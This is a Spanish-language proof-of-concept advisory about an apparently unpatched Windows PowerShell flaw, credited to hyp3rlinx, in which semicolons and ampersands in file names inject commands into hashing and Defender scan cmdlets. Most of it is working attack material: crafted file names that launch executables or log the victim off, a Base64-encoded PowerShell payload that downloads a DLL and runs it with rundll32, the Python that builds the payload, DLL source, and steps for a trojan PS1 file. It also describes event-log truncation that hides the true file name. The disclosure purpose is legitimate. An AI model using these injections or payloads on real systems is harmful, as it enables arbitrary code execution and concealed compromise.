
POC sin Parchear de Ejecución de Código mediante Nombre de Archivo en Windows PowerShell
Windows PowerShell Nombre de Archivo y API Anti-Malware de Defender - POC de Ejecución de Código
Descubrimiento: John Page (alias hyp3rlinx) 2019 y revisado 2023
Actualizado 24 de diciembre de 2023
Evadiendo el obstáculo de las comillas simples en PowerShell para ejecución de código y, de regalo, ¡fallo en el registro de eventos de Windows!
El punto y coma y su amigo el operador "&" se unen para capacidades arbitrarias de ejecución de código.
Ejecute malware no deseado:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
O
Escaneo Anti-Malware de Windows Defender:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
Donde Malware.exe vive en el mismo directorio, piense en una descarga no autorizada (drive-by download).
Fallo en el registro de eventos de Windows: el evento PS ID 403 no registra el nombre de archivo verdadero debido a la truncación:
Fragmento de registro de PS:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
¿Llamar al comando ping? ¿por qué no?
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
Desconectar a la víctima:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
Actualizado: 7 de diciembre de 2023: añadido vector de CL y API de Windows Defender, ver más abajo:
Como todavía funciona, lo desempolvé e hice pequeñas mejoras:
Lo reporté por primera vez a Microsoft en 2019 y sigue sin corregirse al momento de escribir esto.
Ejecución remota de código mediante un nombre de archivo especialmente manipulado.
El fallo se debe al punto y coma ";" podemos decodificar un comando Base64 y ejecutarlo directamente desde el nombre del archivo PS1 o simplemente ejecutar comandos.
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
Llamar comandos directamente
"Testing;saps (gc -) PoC;.ps1"
Vectores: doble clic, arrastrar y soltar sobre el acceso directo de PS
Aprovecha comandos abreviados alternativos de PS como "saps", "gc", iniciar un proceso y get-content, etc.
Cree un archivo PS1 troyano que intente descargar y ejecutar una DLL remota llamada "1.d"
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
Código DLL:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
Haga doble clic en el archivo troyano PS1.
Cree un archivo PS1 cuyo nombre incluya saps "iniciar un proceso" y gc "get-content", esto leerá comandos desde un archivo oculto.
"Test;saps (gc -) PoC;.ps1"
Cree el oculto: attrib +s +h "-"
Haga doble clic o arrastre y suelte.
a) Los archivos PowerShell PS1 deben estar configurados para abrirse con PowerShell como programa predeterminado
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) El usuario debe hacer doble clic, ejecutarlo desde la línea de comandos o arrastrar y soltar el script PS1 con nombre malicioso
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

Actualización: API Anti-Malware de Microsoft Defender en PowerShell - Ejecución Arbitraria de Código.
Microsoft Defender Anti-Malware y/o las API de PS pueden resultar en la ejecución de código arbitrario. Por ejemplo, escanear un directorio, un acceso directo .lnk o incluso un elemento inexistente, puede ejecutar código no previsto. Este vector se basa en mi aviso anterior y en el posterior proyecto PSTrojanFile.
Requisitos:
Ejemplos:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe vive en el Escritorio)
Cree el directorio ";saps Test", Test.exe, Test.cmd, etc. está en la misma ruta de CL
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
Cree un directorio con punto y coma y coloque un archivo PE llamado doom.exe en la misma ruta.
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
Por último, pero no menos importante:
Al obtener un hash de archivo en PowerShell, te cierra la sesión :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08